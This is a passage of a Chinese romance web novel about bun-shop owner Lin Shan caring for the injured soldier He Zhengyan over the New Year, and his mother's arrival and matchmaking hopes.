她厚着脸皮带着熬好的米汤去了医院。 贺正岩刚艰难地在水池子边洗漱完，拐弯就看见林珊拎着个保温桶, 站在病房门口东张西望。 “诶，你怎么不等人来就自己去洗漱啊。”林珊一见他手里端着茶缸牙刷, 脖子上挂着毛巾，就知道这人是用冷水洗的脸, 顿时也顾不得自己之前有多丢人了, 直接放下保温桶，快步过来接过茶缸, 搀着他往病房走。 “你等我们过来, 给你对点儿温水再洗不好吗？”林珊服了。 贺正岩没答话, 反而问她：“你自己来的？” “不是，我妈跟我表哥把送我这儿之后去储蓄所了, 待会儿完事再来接我。”林珊老实回答, 把他扶到床上后, 又拐出去把保温桶拿了回来。 “吃饭吧。”她把保温桶里的米汤倒进碗里递给他。 贺正岩发现这米汤是绿色的，抬眼询问。 林珊笑着解释：“里面放了一些青菜汁，这样能稍微营养一点儿，没敢用大骨熬，那里头都是油, 医生说你现在只能喝这种清淡的流食。” 贺正岩点点头, “辛苦你了。” 林珊不好意思，“我姐做的，她们现在还不让我下厨。” 贺正岩改口：“辛苦你们了。” 林珊被他谢得惭愧, 本来她们一家应该轮流留在医院好好照顾人家才是，可贺正岩这个人不喜欢有人二十四小时坐在他旁边，所以她们也只能给他送送饭，做些他不介意她们干的活。 贺正岩这个病房是个六人间，昨天还满满当当的，今天就只剩靠窗那边的一个老大爷了。 “都走光了？”林珊好奇。 贺正岩：“大爷明天出院。” 林珊心想估计都赶着回家过年了，毕竟除非实在是没办法，不然没人想留在医院过年。 “你今天感觉怎么样？伤口还疼吗？” “不疼。”已经开始痒了，说明恢复得很不错。 林珊放心一些，看着他一口一口喝着米汤，想起自己来的目的了。 “那个……”她有些尴尬。 “嗯。” “我昨天……就是昨天郭爷爷他，他那个……他说得那个话，其实是误会。”林珊吱吱呜呜，别扭得口干舌燥。 “嗯。”贺正岩颔首，等着她继续。 林珊深吸了口气，把自己当时被相亲，然后急中生智编了个对象的事情说了出来，“……我当时只想着不能拒绝得太难看，但是又得让对方死心，编个对象出来既能达到目的，又能赶走其他一些有想法的人。要是编个本地的，那人长时间不出现，郭爷爷肯定会怀疑得，所以……我就说对方是当兵的，是通过我哥认识的……” 贺正岩昨天自己分析的结果，跟她说得差不多，所以他点点头，表示自己知道了。 林珊满脸歉意：“真得特别对不起，让你被误会了。我改天就去跟郭爷爷解释清楚。” 贺正岩：“你解释什么？” 林珊：“就说不是你，是我让他产生误会了。” 贺正岩：“然后再编一个？” “……”林珊被他说得羞愧，她怎么也不会想到一个用来回绝人的没有恶意的谎言，会发展到今天这个地步。 贺正岩见她头都快埋胸口了，笑道：“没事儿，不用放在心上。” 要是这误会能帮她解围，他不会介意这种东西的，身上又不会少块儿肉。 林珊缓缓地抬起头，眨了眨眼，“贺大哥……你是说你、你，嗯，那什么……”她找不出一个合适的词，但是他的意思她明白了。 “贺大哥，你是这个世界上最善良的人！”林珊好羞愧，贺正岩的大度和体面让她无地自容，人家不但没有批判她的行为，还让她不用放在心上。天底下再也找不出这么善解人意的人了！ “我答应过你哥要照顾你们，这不是句空话。以后有什么难处，记得跟我说。你们都是女同志，十分不容易。这回算是幸运的，人都没什么大碍。以后千万要更加谨慎才行。”贺正岩想起当时的情况，后背还有点儿发凉，他要是再晚来一步，对方那一刀下去，她至少要掉半条命。 “我以后一定会更加小心谨慎的，谢谢贺大哥。”林珊知道贺正岩是真得为她们好，她最近也确实在想除了身边安排上人，怎么才能给自己找个大靠山。既不违法，又不违规，还能附和道德规范。不过目前还真是有些无解。 “哦对了，贺大哥，那一大箱子特产是你拿过来的吧？”林珊回家之后，发现王军已经把她们现场散落的东西都搬回来了。除了她们娘仨买的那些衣服和零碎，还有一个大箱子。里头大部分都是省城特产，一看就是贺正岩准备的。 “嗯。没碰坏吧？” “没有，里面全部好好的，一点儿都没碰坏。”林珊突然觉得好可惜，“要是你能正常吃饭就好了。”她肯定会做上一大桌好吃的招待贺正岩。每回信上都说请人家吃饭，结果这回真来了安河，却只能躺在病床喝米汤。 “贺大哥，你除了爱吃包子，还爱吃什么，等你好了我都做给你。”除了吃的，她真的不知道用什么回馈。 贺正岩虽然喝了些米汤，但胃里还是很空，一听她问这个，立马想起了大肉包，上回她邮过去的腊肉包也挺好吃的，熟肉也好，仔细想想，她好像就没有邮过没有不好吃的东西。 “我不挑食。” 林珊笑着点点头，也是，这年头哪有挑食的人啊。 又闲聊了一会儿，赵桂花和赵福就来了，大家说了会儿话，看着贺正岩输上液之后，他们就回去了。林珊今天来的时候，让赵桂花带了些包子送到了护士站，请她们多照看一下贺正岩。 一个护士大姐笑着说：“见义勇为的军人同志，咱们当然要照顾好了，你们就放心吧。” 从医院回来之后，林珊盘点了一下各大店铺的进账和支出，然后挨个儿发放了一下工资和分红，明天关门歇业，今天就得把年货一一送出去，然后打扫一下好贴对联。 本来她还计划着年底前给员工们来个鼓舞大会，结果这事儿一出，就什么都免了。 林珊这边忙着年前的事，贺正岩在医院也没有闲 着。 他借了医院的电话，拨通了爷爷生前一位老部下的电话。 杨德成的秘书先是一愣，随即立刻把电话交给了领导，“是贺首长的孙子。” 杨德成笑道：“臭小子，你眼里还有你杨叔啊？” “杨叔好久不见。”贺正岩笑了，心里有点儿惭愧。一直不联系的人，突然找人家就是想办事儿，怎么想怎么不地道。不过杨叔也确实不是外人，跟他爷爷过这份儿情，所以他开这个口，也说过得过去。 杨德成乐呵着说：“你小子最近怎么样？听说马上要升团长了，你这速度都快赶上老首长了。” 贺正岩谦虚了几句，“您客气了，我跟爷爷差远了。” 杨德成笑了，知道这小子打定话过来肯定不是为了拜年，“说吧，找我什么事儿。” 贺正岩也没客气，直接把林珊家的案子说了。 杨德成从一开始疑惑、愤怒，到后来越听越觉得熟悉，这不就是他老娘非让他打电话问的那个事儿吗？ “你说的是那个什么‘爱国包子’家的事儿吧？” 贺正岩一顿，“您知道？” 杨德成叹气，“我老娘跟林家母女住邻居，感情处得挺不错的，她前天就非让我打电话下去，好好质问质问安河那帮管事儿的去。” 贺正岩没想到还有这么巧的事儿，不过听杨德成话里的意思，他没打算去问。 杨德成也没跟他玩儿虚的，直接说：“这事儿要是我老娘一个人说，我需要考虑一下。现在连你都来说了，那我是肯定要去问问的。不过，这事儿跟你八竿子打不着干系吧，怎么连你也知道了？” 贺正岩解释了一下自己跟林爱国的关系，杨德成那头叹了口气，“行，我知道了。都是咱的兵，不能让他在那边儿不安生。照顾好家属是咱们的职责。” “谢谢杨叔。”贺正岩郑重地向杨德成道谢。 杨德成笑骂了他一句，“行了，你跟我还客气什么。” 贺正岩什么性格杨德成很清楚，老首长亲自带出来的孙子，特别刚正不阿的一个人，能跟他开这个口已经非常不容易了。再说这也完全不是什么徇私舞弊的事儿，林家才是案件的受害者。 杨德成随后拨通了安河一把手的电话，让对方要严肃处理这件事情，给军人家属一个交代。 安河的父母官当即把公安负责人叫了过来，详细了解完情况后，把领导的话一宣布，立刻拨回电话汇报情况。 “……目前已经审讯完毕，所有凶徒已经全部认罪。林家那边我会尽快派人去安抚，您放心，咱们安河市绝对不能让家属寒了心。还有这次见义勇为受伤的贺正岩同志，我们也会——” “你说什么？！”杨德成差点儿被自己的口水呛到。 父母官以为自己说错花了，可快速回想了一下好像没错啊，于是他又谨慎地重复了一下，“见义勇为的贺正岩同志，我们也会派人去医院——” “贺正岩在医院？！”杨德成从椅子上站了起来，“他哪儿受伤了？严不严重？” 父母官赶紧翻资料，“……说是被歹徒捅伤了腹部，前几天已经做完手术了，目前情况很稳定。” 杨德成稍稍松了口气，在心里把贺正岩给臭骂了一顿。 那小子刚才说了那么多，却独独把自己见义勇为还光荣负伤的事儿给漏了！真是欠揍！ 第59章 第59章 洗个头吧 当天下午, 林珊家就来了好多领导。有市里的，有公安的，有区里的, 当然还有街道的。 由于阵仗太大，顿时引来了街坊四邻的围观。其中一位领导同志, 把林珊一家遇险之后，临危不惧, 勇于跟歹徒斗争的事迹，说得无比生动。听得群众连连惊叫鼓掌。 领导说完事迹, 开始说那帮歹徒会面临的后果, 最后不忘再次向林家娘仨表示慰问，“你们以后尽管放心大胆的做生意, 政府为你们保驾护航, 我看谁还敢欺负军人的家属！” “就是！看谁还敢欺负人！爱国家太不容易了！”邻居们高声附和。 林珊对领导们深深鞠下一躬：“感谢政府, 感谢领导！我家虽然只是一小小的个体户，但是以后我们会更加努力, 为了安河的建设添砖加瓦的！” “好！”领导们很开心, “我们所有人都要为了安河的建设添砖加瓦！” 领导们随后又参观了一下“爱国大肉包”的老铺子, 赵桂花负责一路讲解，还请各位领导品尝了一下自家的肉包和熟肉。 领导们尝着包子，真心把林家母女三人夸了又夸，“‘爱国’家可以当咱们市的个体户模范标兵了！” 不但证件全部齐全，卫生更是做得一丝不苟, 服务员全是统一着装, 一看就非常利落，最关键的是包子和熟肉不但好吃，而且价格还非常实惠！ 果然生意好是有道理的。这样的个体户他们一定要好好扶持！ 领导们在老店走了一遭, 半条街都快堵了。 林珊再次惊叹无论哪个时代，百姓们都喜欢看热闹啊。一个女领导临走前，把林珊拉到一边说话，“以后有什么难处，一定要提出来，我们一定会尽力为你们解决问题。人民公仆可不是白叫的。” “谢谢政府，谢谢领导。”林珊深深鞠躬。 送走了领导们之后，熟识的邻居们又开始问东问西，赵桂花本来就有一肚子苦水，索性噼里啪啦全盘脱出。她不仅把自家多不容易，以前怎么被欺负，后来好不容易干起了包子，又遭遇了这么多事儿一口气都吐了出来，还特别把被袭那晚的事儿当做了重点。 她说闲话时候的口才，那可是一流的。再加上又知道很多细节，说得那些老少爷们儿，姑娘婶子们，一个个倒抽气，害怕得不行不行的。 林珊悄悄回了屋，感觉这事儿应该就是杨老太在背后帮的忙，毕竟刚才有个领导说过省里很重视。她想来想去，认识的人里就只有杨老太的儿子在省城当大官儿，回头一定要好好感谢人家。 郭有财稍后也过来了，纳闷道：“你什么时候门儿这么硬了？” 林珊笑着解释了一下。 郭有财恍然大悟，心里挺高兴的，“真没想到，你们居然能跟那怪老太太相处得这么好。” 林珊忍不住替杨老太说话，“杨奶奶人很好的，一开始是有点儿难相处，但是熟了之后其实是个特别热心肠的人。” 郭有财笑了，他才没兴趣知道杨老太是什么人，不过有了这么一出，市里那帮人一来，消息肯定就传出去了，很快就都会知道“爱国大肉包”家是有背景的。 而且他也已经跟认识的那几个，有点儿黑背景的人打过招呼了，别以为这是软柿子就想随便捏。 “诶，你们这都在家里头待着，谁去照顾贺同志啊？”郭有财突然问她。 林珊支吾道：“快饭点儿再去，他不喜欢有人在旁边伺候。” 郭有财砸吧了一下嘴，“行，还挺知道心疼人。” “……”林珊尴尬地笑笑，赶紧逃了。 林珊这边接受了领导的慰问，贺正岩那边也不例外。 不过由于杨德成在电话里交代过，受害者那边要好好慰问，见义勇为的同志那边要低调，所以安河的父母官就只让区干部过去给贺正岩颁发了一个锦旗，还顺便带了些水果。 杨德成知道贺正岩之所以瞒着就是不想兴师动众，所以他本人除了打到医院骂了他一通之外，还跟医生好好了解了一下病情。 知道这小子确实没什么大碍，他这才放了心。 医院的医生和护士很快也接到了命令，要好好照顾贺正岩，本来就一直尽职尽责的他们，更加不敢怠慢了。 贺正岩的最后一位病友大爷搬走之后，硕大的病房就剩他下一个人了。他闲来无事的时候，会看背包里带着的书，一边学习一边做笔记，日子也不算难熬。 部队那边他已经打过电话了，政委胡大志也答应了帮他瞒着，家里要是来电话就说他临时出任务了。 林珊家每天都会准时送过来送饭，有时候母女三个一块儿来，有时候林珊和赵福来，总之不会落单，也都是趁天黑前回去，这点让贺正岩比较放心。 这两天他已经能喝一些稠的流食了，米汤里多了鸡蛋和一些烂糊到快化了蔬菜，稠糊糊一碗下去，还挺来精神。 医生说明天开始，他就能吃一些易消化的馒头和软面条了。林珊高兴坏了，非要给他做拿手的面条汤。 贺正岩听的时候就已经想流口水了，喝了这么久米汤，他想念真正的食物。 明天就是大年初一，能吃上口面条也算是个好兆头。 今年这顿年夜饭，是林珊家吃得最别扭的一顿饭。虽然伙食不错，有鱼有肉，但都是清炒和清蒸的做法，酒也没买，毕竟一想到恩人还在医院住着，她们也没什么心情庆祝。不过倒是狠狠买了些炮仗，放得满院子都红了。 赵桂花说这样驱邪，能把霉运都崩走。林珊也希望如此，明年大家都要平安健康。 初一一大早，林珊自家人吃得都是昨晚的剩菜和饺子，她给贺正岩做得是炝了锅的面条汤。面条煮得很烂糊，菜叶很软，鸡蛋也都打散了，放上一点点酱油和香油调味。虽然还是病号饭，但是保准喝了那么久糊糊的贺正岩，能给香迷糊了。 果然，林珊把面条汤一端给他，就看见他咽口水了。 很久没用筷子夹东西吃的贺正岩，此刻幸福极了，再简单不过的面条汤，吃得他满头大汗。 “你慢点儿吃。”林珊把手怕递给他擦汗。 贺正岩胡乱抹了把汗，专注地吃着面条。 林珊心想明天给他做些清淡的炒菜试试，炒软一点，配上软乎乎的馒头，细嚼慢咽的话应该没问题。 贺正岩干完一碗面条汤，觉得整个人都活了，心满意足地靠在床头。他今天感觉不错，上厕所什么的，已经没有之前那种揪疼得感觉了，这会儿吃饱喝足，感觉劲儿更是使不完。 林珊把碗筷收拾好，见他来回在病房里走着，心想还真是闲不住。 中午她回去又新做了面条汤送过来，一进门发现这人正在用一种奇怪的姿势洗头！ 三个木凳子叠在一块儿，上头放着洗脸盆，他坐在床边使劲儿把头往水盆里放，但因为不敢碰到腹部，所以整个人很僵硬。胳膊和手已经湿了，头发也湿了一半儿，这会儿正在挤洗头膏。 这年头的洗头膏有那种一个大塑料罐里装的，也有那种一袋一袋的包装起来的小包。浅蓝色的膏体，刚洗出来的头发很涩，但是干了之后又挺滑溜。他不知道从哪儿弄得小塑料包装，正在使劲儿挤。 林珊赶紧把门关好，怕再刮股冷风给他冻着，“贺大哥，你想洗头就不能等人来吗？” 贺正岩怎么好意思让她一个小姑娘帮自己洗头。之前医院干杂活的大哥帮他洗过一次头，可惜人回老家过年了，反正他现在伤口恢复得挺好，感觉自己慢点儿洗应该没问题。 虽然没想到开洗之后，身体还是非常受限，不过倒也不是什么大事儿，慢点儿搞完全没问题。 林珊服了他了，出去洗了把手，又来回搓了搓，等彻底热乎之后，她一把拽过那袋儿洗头膏，把水盆端了下来，凳子也全给他撤了。 “你躺床上，我来给你洗。” 贺正岩想说不用，但她都把他好不容摆好的阵给撤了，头发又湿了一半儿，真是洗也不是，不洗也不是，他犹豫了两秒，叹了口气，行吧。 林珊搬了一把凳子，把洗脸盆放上去，摸了摸水温之后，又给他续了点儿热水。 “你斜躺着点儿，把头伸出来。”林珊一边指挥，一边扶着贺正岩躺好，让他的头正好悬空在水盆下方，还给他空荡荡的脖子，垫了块儿毛巾。 然后她坐在了洗脸盆后面，拿起暖壶上的铝盖儿，一边盛水，一边给湿发。 温热的水流一股一股浇在头上，明明很舒服，贺正岩却觉得煎熬，他不习惯被小姑娘这么照顾，整个人比刚才自己洗的时候还紧绷，眼睛一动不动地注视着天花板，表情严肃得像是在参加队内训练。 林珊把洗头膏挤到自己手上，打出泡沫之后，放到他头上开洗。 如果说刚才只是浇水，贺正岩就已经开始紧绷了，等她的手按到自己头上，开始有规律地清洗按摩之后，他的紧绷和别扭，就来到了另一个阶段。 林珊学着后世理发店的师傅那样，洗洗按按，连他的后脖子也没放过，直到她发觉这人的脖颈居然这么僵硬的时，才忽然意识到自己的手在哪儿。 刚才只顾着生闷气，觉得他一个病人不听话瞎乱动，这会儿真洗开了，才发觉这件事好像是有点儿那什么。 毕竟这年头就算是剪头发的地方，也都是给你喷喷水就开剪，没人给你洗头按摩。 意识到这点之后，林珊赶紧默默收回了脖子上的手，规规矩矩地只敢洗有头发的地方，可人就这是这么奇怪，心里没事儿的时候，洗什么都无所谓，心里别扭了，感觉每触碰到他的头发丝，好像都透露着不妥。 完蛋，贺正岩耳朵都红了。 见他一红，她也忍不住紧张起来。 整个屋子顿时又开始蔓延起，那天湿棉签涂嘴皮子时的尴尬和不安。 “当当当——”一阵敲门声突然响起，震得俩人同时心惊。 一位穿着黑色套装的中年妇女，推开门，焦急地向内张望，“贺正岩是住这个病房吗？” 第60章 第60章 补一补多好 “妈？” 贺正岩从声音认出了自己母亲, 他本能地就想起来，可头有还在林珊手里，只能侧躺着朝门口看去。 林珊一听他喊“妈”, 脑袋瞬间短路，傻乎乎地看着门口的妇女, 生生愣了两秒才回过神来，“您、您好, 您是贺大哥的母亲吧。” 她手上都是泡沫，一边站起来迎接人, 一边又不敢让手离开洗脸盆太远, 不然弄得哪儿都是。 姜春荣也没想到自己会撞见这么个场面。 儿子躺在病床上，一个长得像花儿似的小姑娘, 正在给他洗头！ “诶, 你好小姑娘。”姜春荣惊讶过后, 立刻露出笑脸走过去，见俩孩子脸都红得厉害, 又僵在原地特别不自在, 她只好假装一切都很稀松正常, 对贺正岩说：“你这孩子受伤了也不说一声，你们那个胡政委那说谎的功夫也太差劲了。” 贺正岩尴尬地轻咳了一声，想坐起来跟她说话，姜春荣赶紧按住他，“你老实躺着, 赶紧把头洗完, 别一会儿再着凉了。” 林珊立刻坐回凳子，飞速地给贺正岩洗头，揉搓了两下, 突然觉得人家妈妈都来了，这活儿是不是可以交出去了，不过一看到对方满脸的疲惫，想来肯定是舟车劳顿，所以就打消了念头，更加快速的给贺正岩洗头。 她一共洗了两遍，中间换了一次水，才把他头上的泡沫彻底洗干净。 姜春荣怕俩人尴尬，就没有在一旁干看着，而是一会儿出去上个厕所，一会儿出去打壶热水，不然就是替贺正岩整理着背囊。 等贺正岩洗完了头，她又帮着林珊把桌凳都打扫干净。 贺正岩洗好了头，终于没那么尴尬了，他一边拿着干毛巾擦头发，一边询问母亲怎么来的。 姜春荣说：“我有几天假，就想着过去看看你。结果一打电话那个胡政委就露馅儿了，逼问了他半天才跟我说实话。你这到底怎么回事儿？” 贺正岩把林珊一家遇袭的事说了，又简单解释了一下自己跟她们一家人的关系。 姜春荣听得一阵后怕，握住林珊的手安慰道：“好孩子，吓坏了吧。” 林珊点点头，“多亏了贺大哥。” 姜春荣既骄傲又心疼地看向贺正岩，她儿子她最清楚，不指望他不要见义勇为，只希望他能多注意一些自己的安危。不过 这会儿当着人家姑娘的面儿也不好说这些。 “饿了吧？你中午能吃点儿什么？”姜春荣问儿子。 贺正岩还没开口，林珊就走过去把保温桶打开了，“他现在只能吃些面条汤之类的，好消化的东西。”说着，她给贺正岩倒了一碗面条汤。 本来就是来送午饭的，结果被洗头耽误了。幸好保温效果还不错，面条汤还挺热乎。 姜春荣看着林珊熟练地给儿子盛面，递筷子，他也接得无比顺手自在，就知道人家姑娘没少照顾他。 贺正岩端着碗让姜春荣看了一眼自己的病号饭，问她：“您吃了吗？找到招待所了吗？” 姜春荣见那汤闻着还挺香，笑道：“赶紧吃吧，我在火车上吃过了，招待所待会儿再说。” 林珊知道安河一共有三个招待所，最近的离医院骑车也得十几分钟，走路慢的估计得四十来分钟了，“婶、婶子，招待所离得远，您要是不嫌弃的话，就住我们家吧。我家还有一间空房，里面什么都有。家里也就我们母女三个，没人任何其他人，您住着应该会比招待所舒服。” 贺正岩一听招待所距离远，确实有点儿不放心，这大过年的，母亲又是一个人，住林家的确更好一点儿。 姜春荣笑着说：“不打扰你们吗？”比起招待所，她确实更想借机会了解一下这个小姑娘。毕竟这是她第一次看见儿子跟女孩子相处得这么好，不管有没有什么，先了解一下总没错。 “不麻烦不麻烦！待会儿咱一块儿回去！”林珊很高兴，觉得自己总算能尽点儿心意了。 因为要带姜春荣回自家住，林珊就多待了一些时间。听着这母子俩的对话，她渐渐也对贺正岩的家庭有了一些了解。 他确实是首都京市人，父母好像离异了，具体情况不清楚。母亲名叫姜春荣，是一位了不起的科学家，一直在大西北研究导弹。贺正岩很早就当兵了，现在是营长，因为前一段时间任务完成的出色，过完年还会再往上升一级。 林珊被自己拼凑出来的信息，震惊了半下午。 这个年代离婚已经非常罕见了，他母亲居然还是一位科学家！简直让她佩服的五体投地。贺正岩也证实了她之前的猜测，这个人真的是年轻有为，在往上升应该就是团长了吧，真厉害。 由于林珊一直没回去，赵桂花很快就骑着三轮车找来了，大家一阵寒暄后，姜春荣被热情地迎接进了林家。 林珊家里一共有四个房间，母女三个一人一间，确实留有一个空房间。不过那里头虽然有张小床，但上面还摆放着一堆年货，又没有煤球炉，所以挺冰凉的。林珊原本的打算，就是把自己的房间让出来给客人住。 所以回去之后她直接把房间的床单换了一遍，请姜春荣拎包入住。她自己跟林红睡一间屋，姐妹俩早在一起住惯了，家里的床她前一阵子也都换成了一米五的新床，完全够睡。 姜春荣没想到林家这小院儿收拾得这么舒服干净，屋子也暖和，条件比她在西北住的不知道好多少。 林珊小姑娘这屋里，整整齐齐，干干净净，桌上摆着书和台灯，墙上还贴着考试计划，桌角还压着一些卷子。 姜春荣只知道她在开包子铺，不知道她还在准备高考，一时好奇拿起卷子看了一下，结果惊讶得不行。这孩子成绩这么好呢！ 姜春荣又翻看了一下其他试卷，发现她理科几乎门门儿满分，于是立刻激动地冲出房间，拉住林珊问：“你准备考哪个大学？！” 林珊腼腆地笑了笑，“如果发挥好得话，希望能上京大或者清大吧。”毕竟她上大学是为了人脉，没有比这两个学校更出人才了。 姜春荣点点头，很认真地说：“孩子，你读物理吧。” 林珊有点尴尬，她知道自己不是做研究做学问的料，而且志不在此。她的打算是去京大或清大读个计算机科学系，她上辈子就是学计算机的，这辈子再来一次不费劲，剩下的精力自然就可以放在生意上头了。 所以她有些惭愧地对姜春荣说：“我想学计算机。” 姜春荣一愣，计算机是未来的大趋势，学这个很有前途。这么好的苗子不搞科研虽然很有些可惜，但毕竟人各有志。 她笑着拍拍林珊地肩膀，赞赏道：“也很不错，现在很多人根本连计算机是什么都不知道，你的思想非常进步。”生在这种小地方能知道这么多，实在是很难得。 林珊被夸得心虚，笑着岔开话题。 一旁听见这一切的赵桂花和林红，彻底震惊了。 啥意思？她家姗姗不但能考上大学！还有希望考上京大和清大？！ 赵桂花目瞪口呆，她刚才听林珊说过，这位姜大姐是个非常了不起的科学家！科学家问她家姗姗考哪儿，还让她学什么物理的，那是啥意思，说明她家闺女考大学非常有戏啊！ “那个，姜大姐，你是说……我闺女她，她能考上大学？” 姜春荣笑着点点头，“肯定没问题。” 赵桂花一呛，差点儿晕厥过去，她这辈子还从来没有经历过这么大的狂喜，就算家里挣了不少钱，她开心是开心，但也都没有像现在这样，高兴地想嚎啕大哭，跪下来磕头谢祖宗！ “孩子！”她一把抱住林珊，哭得那叫一个惨烈。林红也跑过去抱住她们，吧嗒吧嗒落泪。 姜春荣整个人愣住。 林珊怕把人家吓着，赶紧解释道：“我妈一直不觉得我能考上大学，这会儿有点儿激动了。” 姜春荣被逗笑了，理解，理解一个当妈的心。 赵桂花努力控制着自己的情绪，从大哭变成了哽咽，“姜大姐不好意思啊，我实在是激动啊，姗姗要是能考上大学！我这辈子就真值了！” 个体户就是挣得再多，也不是什么体面活儿。大学生就不一样了，整个安河都挑不出来几个！更何况要是她家姗姗考上了首都的大学，别说安河了，就是整个汉北省都跟着有光！ 赵桂花一扫被袭击以来的不顺心，胸口敞亮得恨不得坐屋里唱首小曲儿，搂着林珊不撒手，真是越看越觉得她哪儿哪儿都好。 林珊被她看得发麻，赶紧借口跑了。感觉在这个年代人的心目中，考上大学，跟古时候家里出个状元差不多。 赵桂花虽然平时数钱数得合不拢嘴，其实心里还是觉得大学生是高人一等的。其实不光是她这么觉得，这时代的绝大多数人都这么觉得。 姜春荣见这母女三人的感情这么好，心里一阵羡慕。 她只有一个儿子，还没有养在身边。虽然正岩一直对她很好，但她有时候也会渴望他能像个孩子似的，依赖自己靠近自己，或者更亲密的撒撒娇、耍耍赖什么的。 可这孩子一直都很懂事，无论什么时候，永远在为她和他爸着想。 要是这小姑娘能跟儿子在一块儿就好了，性格互相补一补，家庭互相补一补，多好啊。 60-80 第61章 第61章 考虑一下 本来这个新年, 林珊娘仨过得是挺提不起劲儿的。这下家里突然来了客人，所有人一下就精神了，直接做了一大桌拿手菜来待客。 赵桂花又因为林珊考大学的事儿兴奋不已, 热情度直接爆表，恨不得把家里所有好东西都搬出来给姜春荣。 林珊和林红合力做了四荤四素, 有两道是用贺正岩拿来的腊肉和山珍做的，其余的大部分是安河特产和自家原创菜谱。 大包子自然少不了, 但是怕吃多了吃不了 菜，所以从中间切了一半。 姜春荣虽然在西北过得比较艰苦, 很久没吃过这么丰盛的饭菜了, 但她家境很好，早前又留过洋, 见得世面多, 西餐中餐都吃过不少, 一尝小姐妹俩做的饭，就知道是讲究的。 既有鲜味儿又有香味儿, 火候掌握的也恰到好处, 尤其是这卤素菜, 简直打开了她的新世界。更别提那个豆腐包子了，上面再放上些辣椒油，拿肉给她都不换。 一顿饭吃的宾主皆欢，赵桂花原来以为科学家说话她听不懂，也不敢当着人家侃大山, 结果聊着聊着发现姜大姐不但人特别随和, 还特别懂农村的事儿，她瞬间就打开了话匣子，聊得那叫一个热火朝天。 要不是林珊后来提醒桂花女士天不早了, 她还能接着聊。 姜春荣挺喜欢赵桂花的性格，豪爽大方比扭扭捏捏强多了。 这边四个女人吃饱喝足了，医院病房内的贺正岩，却有点儿担心。不过你要说具体担心什么，他也有点儿说不清。 林珊她们肯定会特别热情地招待母亲，母亲也不是那种不懂得跟人相处的人。可即便是这样，贺正岩还是有些担心，因为他总觉得母亲下午看自己和林珊的眼神，有些不正常。 洗头那会儿多尴尬，他不信母亲没看出来。不然她也不会一见林珊就笑得特别慈祥，连说话的语气都柔和了，人家一提让她去住，她也只问了句麻烦不，就直接去了。这根本不像她的性格。 不过，贺正岩倒也不担心母亲会说些让林珊不好意思的话，或者直接乱点鸳鸯谱。按照她的性子，应该会先把人家观察个透彻，然后进一步分析得出个结论来。 贺正岩也说不出心里是什么滋味，总之就是不平静。 他不平静地睡了一晚上，第二天刚洗完漱，就瞧见他妈和林珊有说有笑地从长廊那头走来，亲密地宛如一对母女。 姜春荣心情愉悦地说：“珊珊给你做了炒蘑菇和青菜，还有馒头，米汤是大骨熬得，来，快吃饭！” 贺正岩心想，得，一个晚上连称呼都改成“姗姗”了，可见相处得有多愉快。 林珊把保温桶里的饭菜，挨个盛到碗里，让他就着小柜子吃饭。 贺正岩是又饿又馋，昨天的面条汤已经够香了，没想到今天的小炒菜更是让他口水直流，馒头是从花糕中间切了那么一块儿，非常宣软。 “一定要细嚼慢咽，你吃饭太快了。”林珊把筷子递给他，再三说明。 贺正岩囫囵地点点头，接过筷子开吃，第一口就不自觉地吃快了，直到听见林珊“啧”了一声，他才放慢速度，开始细嚼慢咽。 姜春荣在一旁看着，偷偷扭过头笑了。真心希望儿子能在安河待久一点儿，这样两人相处得时间越多，情分就能累积得越多。 可惜贺正岩跟她心里想的完全不同，他满心期待能够赶紧出院。 医生说他最早初五可以出院，正好姜春荣的假也只到初五，所以贺正岩预备这两天找人买好火车票，到时候母亲回西北，他回部队。 虽然方向不同，但好歹能送到车站，之前还能相处这么几天，已经很不错了。 林珊一听贺正岩说初五要走，立刻惊讶道：“初五不就是大后天吗，你这样能赶火车？医生确定你可以出院吗？” “确定，我已经好得差不多了。”贺正岩吃饱喝足，把计划说了出来。 他会买卧铺票，到站就有战士们去接，母亲那边也同样是卧铺，也有基地的战士去接，所以完全不用担心。 林珊听完后点点头，稍微放心一些。虽然有些突然，但出院毕竟是好事，她也很替他开心，终于不用憋屈在这儿了。 姜春荣不开心，她才刚想让儿子留久一点儿，培养培养感情，结果这小子突然来了句他初五出院。 “要不你再住几天吧，让伤口再长长。”她忍不住劝道。 贺正岩摇头，“我回去慢慢儿养就行，假已经到期了，不好再耽误时间。” 姜春荣叹气，理解归理解，不开心还是不开心。所以等屋里只剩下她跟儿子之后，她直接把心里话讲了出来。 “你现在没对象，在部队这么些年也没有遇见合适的，我觉得你不妨考虑一下姗姗。” 贺正岩无奈地挠头，“人家还是个小姑娘。” “什么小姑娘？她都二十了，你二十六，只差六岁算什么特别大的鸿沟吗？”姜春荣瞪他，“人家小姑娘长得跟朵花儿似的，性格脾气又好，还这么有本事，配你那是绰绰有余！” 贺正岩冤枉，“我没说她配不上我。” 姜春荣给他上课，“既然配得上，你们俩相处起来又这么合拍，就应该被纳入对象的范围。你不是说你们认识也快两年了吗？知根知底的小姑娘，不比你现相亲来得靠谱？” 这话贺正岩没法反驳，这么想来确实是这个理儿，不过……怎么说呢，他就是觉得别扭，明明是照顾人家，怎么就变成想跟人家处对象了。 姜春荣不知道他别扭什么，继续说服道：“你可是答应过我要考虑找对象的，不会是骗人的吧？” 贺正岩苦笑：“我骗您干什么。” 姜春荣：“那你就大胆地尝试一下，窈窕淑女君子好逑，千万不要错过这么好的姑娘。我还跟你说，姗姗可是要考大学的，成绩也非常不错，等她考上大学之后，你就想象有多少人会围着她团团转吧。” 贺正岩：“……”这都哪儿跟哪儿啊。 姜春荣见他不吭声，继而开始鼓励：“妈相信你比他们都强，只要你真心实意，一定能获得芳心。” 贺正岩无奈地笑了，“您怎么还越扯越远了。”刚才还只是让考虑一下，这会儿就已经进展到获得芳心了。 姜春荣笑笑，点到为止：“妈就说这么个意思。你横竖是要找对象的，与其跟个陌生人相来相去，不如找个知根知底的。你自己思考一下是不是这么个道理。” 贺正岩叹气，道理他都明白，就是、就是—— “婶子、贺大哥，吃水果了。”林珊恰好端着刚洗好苹果进门，弄得贺正岩心里一紧，跟干了坏事儿差不多，连人都不敢正眼看。 “哎，姗姗赶紧坐下暖和暖和。”姜春荣笑着接过苹果，给林珊和儿子一人削了一个。看着俩孩子吃着苹果，她心里暗暗觉得这事儿非常有戏。 三天转瞬即逝，初五很快就到了。 林珊前一天晚上，就把要给贺正岩和姜春荣的东西都准备好了。包子、熟肉和各种特产，给贺正岩的箱子里放了两瓶肉酱和一瓶油辣子。姜春荣因为爱吃辣，所以给她装了两瓶油辣子和一瓶肉酱。 